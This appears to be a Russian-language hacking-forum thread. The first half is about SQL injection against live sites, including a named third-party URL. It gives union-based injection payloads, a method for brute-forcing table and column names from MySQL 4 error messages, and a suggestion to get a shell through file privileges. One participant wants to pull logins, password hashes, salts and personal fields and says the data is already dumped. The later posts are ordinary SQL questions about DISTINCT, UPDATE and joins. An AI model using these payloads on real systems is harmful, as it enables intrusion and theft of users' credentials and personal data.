люди помогитепочему кагда я сканирую вот этот сайт http://ocenshik.mostpp.ru/news.php?id=1 с проги SQL injec ,нажимаю кнопку injec у меня вылазиет инфа о хосте потом нажимаю кнопку Get Database у меня вылазиет таакая фегня Mysql is version 4 please brute either tables or columns люди помогите чо это за фегня плизз
А что тут не ясного? 4 версия MySQL, нету таблицы information_schema, таблицы и колонки нужно брутить.
имеется mysql инъекция при использовании скобок в запросе орёт Code: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 Пробовал SELECT VERSION() SELECT DATABASE() SELECT USER() SELECT CONCAT(1,2) SELECT CONCAT(/**/1/**/,/**/2/**/) SELECT ConCaT ( 1 , 2 ) Он постоянно ругается на синтакс Фильтра нет, при ошибке запрос показывается, там скобки без изменений и SELECT '()' нормально выводит скобки Что делать и как жить дальше?
Что мешает не использовать скобки? Версию без скобок, можно узнать так @@version Если 5 ветка, то проблем нет. sql.php?id=-2+order+by+1,2,3,4,5,6,7,8,9,10 Unknown column '5' in 'order clause' sql.php?id=-2+union+select+1,table_name,column_name,4+from+information_schema.columns sql.php?id=-2+union+select+1,table_name,column_name,4+from+information_schema.columns+where+table_name>'последняя выведенная таблица из предидущего запроса' ну и так далее. Если принтабельное поле одно, то выводить таблицы и колонки по очереди, потом так же через where. Если 4 ветка, то надо писать эксплойт для брута, опять таки без скобок можно обойтись. Сначала перебирать таблицы, основываясь на ошибке id=2+union+select+1,2,3,4+from+users Table 'db.users' doesn't exist и тд id=2+union+select+1,2,3,4+from+admins Table 'db.admins' doesn't exist и тд Так же, таким запросом, ты можешь узнать имя текущей базы (вместо database()), в данном случае 'db'. Потом поля id=2+union+select+1,admin,3,4+from+admins Unknown column 'admin' in 'field list' id=2+union+select+1,adm,3,4+from+admins Unknown column 'adm' in 'field list' и тд Ну это конечно если дело в скобках Либо сразу шелл, если file_priv позволяет.
Redwood, стой стой стой! фрррр! Ты куда так разогнался Вот есть одно принтабелное поле, в юзере хранится login,hash,salt и вот через 1 поле это очень не прикольно выводить. мнебы concat() Токо не надо рассказывать как всё слить через 1 поле, я мне бы понять почему скобки не хочет юзать
Что мешает использовать что-то типа -1+union+select+password+from+users+limit+0,1 ? Жить нормально и спокойно.
да чтож вы за люди такие... если выбивать по 1му полю это в 3 раза дольше, а если я ещё email и phone и secret_answer выить хочу, то в 5 раз дольше Мне просто нужен конкат Вы хоть скажите почему он ругается, чтоб я понял я давно слил что мне надо, просто объясните что я делаю не так со скобками
к примеру есть таблица table1 в этой таблице есть field1, в этом поле есть данные которые могут повторятся. Можно ли запросом mysql вытащить только те данные которые уникальны?
e-gral SELECT DISTINCT field1 FROM table1; SELECT field1 FROM table1 GROUP BY field1; Первый вариант будет группировать записи по уникальности всех столбцов в выборке, второй по уникальности конкретных столбцов, заданных в GROUP BY
Code: mysql> update `shell`.`shell` set id='1', PR='6', tyc='2200'; ERROR 1062 (23000): Duplicate entry '1' for key 'PRIMARY' почему такая хрень и как исправить? (
.:[melkiy]:. PHP: UPDATE `shell`.`shell` SET PR='6', tyc='2200' WHERE id='1'; А ошибка происходит из-за того, что записей больше одной и данный запрос пытается обновить все записи, а так как `id` является первичным ключом - не должно существовать двух записей с одинаковым значением этого столбца
Предположим что мы проектируем крупную БД, нужно описать сущность "адрес" в БД (для просто ты возьмем только city, street, appartament). Сама таблица имеет вид например Есть соответственно таблица (грубо говоря справочник) И есть таблица например Все это сделано для того чтобы максимально нормализовать и сделать независимыми данные. Вопрос: как теперь правильно сделать выборку адреса (само сабой там должны быть не ID города и улица, а именно их названия) ? как раз для этого и нужно джойнить таблицы ?
select t.appartament from table t inner join CYTI c on c.ID = t.ID_city and c.name = 'Moscow' inner join STREET st on st.ID = t.ID_street and st.ID_city = c.ID and st.name = 'Lenina' что-то в этом духе, если надо получить аппартамент зависит от системы, объёма бд, может лучше узнать 2мя запросами айдишник города и улицы, а потом подать запрос на получение аппартаментов
вот как то так я себе это и представлял только выразить в буквы не могу, тогда для выборки данных адресе по ID можно например сделать так верно ? Связь между улицами и городоми сделала для того чтобы например можно было совсем не утруждаясь для любого города получить список его улиц, и предложить пользователя выбор а не возможность ввода. Теперь по поводу двух запросов (или подзапросов). С точки зрения производительности лучше джойнить или разделять на более мелкие запросы ?
джоинить лучше только надо добавить FOREIGN KEYS для полей, по которым будет проходить джоин , это нужно для оптимизации запросов. производительность поднимиться
Mystery В общем случае - нет, не лучше. Можете почитать например тут: http://habrahabr.ru/blogs/mysql/70640/#comment_2019876 Покажите, пожалуйста, где написано, что внешние ключи влияют на оптимизатор запросов
согласен с тем, что джоины не всегда быстрее выполняются был опыт , надо было сджоинить ~5 таблиц, в одной было порядка 800тысяч записей, в другой прядка 50тысяч, тестировал, оказалось,что запрос вида : select * from t1 , t2 , t3 where t1.id = t2.id and t3.p_id = t1.id выполнялся быстрее нежели select * from t1 inner join t2 on t1.id=t2.id inner join t3 on t3.p_id=t1.id в подробности этой ситуации не вдавался, было бы интересно узнать причину. FOREIGN KEYS http://dev.mysql.com/doc/refman/5.1/en/innodb-foreign-key-constraints.html на русском: http://www.mysql.ru/docs/mysql-man-4.0-ru/table-types.html#innodb-foreign-key-constraints внешние ключи по сути являются индексами. а индексы влияют на оптимизацию запросов
Mystery Все же вначале столбцы должны быть проиндексированы, а ПОТОМ на них можно вешать внешний ключ, который сам по себе - не влияет на оптимизатор.